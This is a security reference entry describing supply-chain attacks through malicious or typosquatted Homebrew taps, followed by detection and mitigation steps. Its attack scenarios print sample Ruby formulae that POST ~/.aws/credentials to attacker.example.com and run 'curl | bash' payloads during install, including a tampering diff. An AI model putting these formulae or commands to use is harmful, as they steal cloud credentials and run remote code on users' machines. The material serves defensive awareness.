Malicious Third-Party Tap Supply Chain
Prerequisites
- Victim runs `brew tap
/ ` against an attacker-controlled repository - Victim subsequently runs `brew install`, `brew upgrade`, or `brew update` — which auto-pulls the tap
- For typosquat variants: a name close enough to a legitimate tap to trick users (e.g. `hashicorp/tap` vs `hashi-corp/tap`)
Attack Scenarios
Typosquatted Tap Mimicking a Popular Vendor
An attacker registers a GitHub repository named `homebrew-
# Attacker owns github.com/hashi-corp (note the hyphen)
mkdir homebrew-tap && cd homebrew-tap
mkdir Formula
cat > Formula/terraform.rb <<'RUBY'
class Terraform < Formula
desc "Infrastructure as code tool"
homepage "https://www.terraform.io/"
url "https://releases.hashicorp.com/terraform/1.8.0/terraform_1.8.0_darwin_arm64.zip"
sha256 "0000000000000000000000000000000000000000000000000000000000000000"
def install
# Exfiltrate before dropping the real binary
system "/bin/bash", "-c",
"curl -fsSL -X POST --data-binary @#{ENV["HOME"]}/.aws/credentials https://attacker.example.com/c 2>/dev/null; true"
system "/bin/bash", "-c",
"curl -fsSL https://attacker.example.com/stage2 -o /tmp/.t && chmod +x /tmp/.t && /tmp/.t &"
bin.install "terraform"
end
end
RUBY
git init && git add . && git commit -m "Initial tap"
git remote add origin git@github.com:hashi-corp/homebrew-tap.git
git push -u origin main
# Copy-pasted from a poisoned tutorial
brew tap hashi-corp/tap
brew install hashi-corp/tap/terraform
# install method exfils ~/.aws/credentials and launches a stage-2 binary
Compromised Tap Pushing a Silent Update
An attacker who phishes or steals credentials for an existing, widely-used tap's maintainer can push a commit that only modifies the `install` or `postflight` block of a popular formula. Because `brew update` runs automatically before most commands, every user of the tap pulls the change the next time they run brew.
# Single-commit diff to an existing, trusted formula in the tap
diff --git a/Formula/widget.rb b/Formula/widget.rb
--- a/Formula/widget.rb
+++ b/Formula/widget.rb
@@ def install
+ system "/bin/bash", "-c",
+ "curl -fsSL https://attacker.example.com/b | bash &"
bin.install "widget"
end
brew install something-else
# Triggers: brew update -> git fetch on every tap -> new widget.rb present
brew upgrade widget
# The injected curl|bash runs during the install step
Overriding a Core Formula From an Attacker Tap
If a user installs a formula via its fully-qualified tap path (`attacker/tap/jq`), Homebrew resolves it from the attacker's tap rather than homebrew-core — even if homebrew-core also has a `jq`. Attackers exploit this by publishing same-named formulae and convincing users (via tutorials, issue comments, or social engineering) that the tap version is 'better' or 'newer'.
# Formula/jq.rb in attacker/homebrew-utils
class Jq < Formula
desc "Command-line JSON processor (faster build)"
url "https://example.com/jq-1.7.tar.gz"
sha256 "aaaa" * 16
def install
# Runs with user privileges during `brew install attacker/utils/jq`
system "/bin/bash", "-c", "curl -fsSL https://attacker.example.com/p | bash &"
bin.install "jq"
end
end
brew tap attacker/utils
brew install attacker/utils/jq
Detection
Enumerate all tapped repositories and verify their origins
Every tap is a git clone under `$(brew --repository)/Library/Taps`. List them and confirm each remote resolves to a known-good organization. Unexpected taps — especially those with names close to legitimate vendors — warrant review.
brew tap
for t in $(brew tap); do
echo "=== $t ==="
git -C "$(brew --repository)/Library/Taps/${t/\//\/homebrew-}" remote -v
done
Review tap git history before upgrading
Diff the tap's recent commits before running `brew upgrade`. Because `brew update` happens automatically on most commands, unreviewed tap changes land silently — pinning or diffing first is the only way to catch malicious edits.
export HOMEBREW_NO_AUTO_UPDATE=1
cd "$(brew --repository)/Library/Taps/attacker/homebrew-tap"
git fetch origin
git log --oneline HEAD..origin/main
git diff HEAD..origin/main -- Formula/ Casks/
Block unknown taps at the endpoint or proxy layer
For managed macOS fleets, restrict outbound git traffic so `brew tap` can only clone from an allow-listed set of GitHub orgs (homebrew/, the vendor taps your org actually uses). This prevents typo-squats from resolving.
# Example: list taps present across a fleet via MDM / osquery
osqueryi --json "SELECT path FROM file WHERE path LIKE '/opt/homebrew/Library/Taps/%/homebrew-%' AND type = 'directory';"
Mitigation
- Before tapping, verify the org name character-by-character against the vendor's official docs — do not copy from tutorials or LLM output
- Set `HOMEBREW_NO_AUTO_UPDATE=1` in CI and dev shells so tap updates do not land without explicit review
- Pin critical taps to a reviewed commit with `git -C $(brew --repository)/Library/Taps/
checkout ` - Periodically audit `brew tap` output and remove taps the team no longer uses (`brew untap`)
- Restrict cloning scope at the network layer for managed fleets — only allow git.github.com paths for approved orgs
- Prefer the fully-qualified form (`homebrew/core/jq`) when scripting installs, so a tap cannot shadow a core formula